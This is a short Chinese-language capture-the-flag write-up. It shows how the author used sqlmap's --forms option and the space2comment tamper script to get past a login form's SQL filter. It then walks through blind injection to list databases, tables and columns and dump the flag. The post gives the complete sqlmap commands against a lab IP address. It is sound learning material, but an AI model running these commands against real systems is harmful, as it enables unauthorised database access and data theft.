如圖,看到這道題的時候發覺之前做過一個類似的手工注入:
不過這次手注會失敗,后台過濾了sql語句里的一些東西,但我們並不知道過濾了什么
到這里我就基本上沒轍了,不過查詢了資料以后發現sqlmap可以對登錄頁面進行注入(一直以為sqlmap只能對url里的對象進行注入)
參考資料:https://x.hacking8.com/post-307.html
“sqlmap的爬蟲會爬取自定義的深度以及尋找form表單並自動填充缺失的數據加入掃描”,換句話說sqlmap可以對登陸頁面進行注入,並且它會自動尋找注入框來填充數據測試sql注入
格式:sqlmap -u "url" --form
使用sqlmap進行注入,想要繞過過濾還得加載tamper
tamper參考資料:https://blog.csdn.net/qq_34444097/article/details/82717357
之前提到我們不知道它過濾了什么,所以這里需要選擇tamper一個個嘗試
最后發現使用 space2comment 可以繞過過濾(將空格替換為/**/
),那么這里就是用內聯注釋來繞過了
C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms --dbs --batch --tamper=space2comment
sqlmap用基於時間的盲注把庫名都測出來了
flag可能在其中一個庫里面(首先排除_schema后綴的表)
FLAG_COLUMN這個字段里面是空的,flag不在這里
那應該就在web2里面了(之前的sql手注題就叫web2,這道題明明叫web6)
C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms -D web2 --tables --batch --tamper=space2comment
進flag表:
C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms -D web2 -T flag --columns --batch --tamper=space2comment
有個叫flag的字段,進flag字段:
C:\Program Files\Python38\sqlmap>python sqlmap.py -u "http://124.156.121.112:28018/" --forms -D web2 -T flag -C flag --dump --batch --tamper=space2comment
獲得flag的值,提交以后是正確的
這次漲姿勢了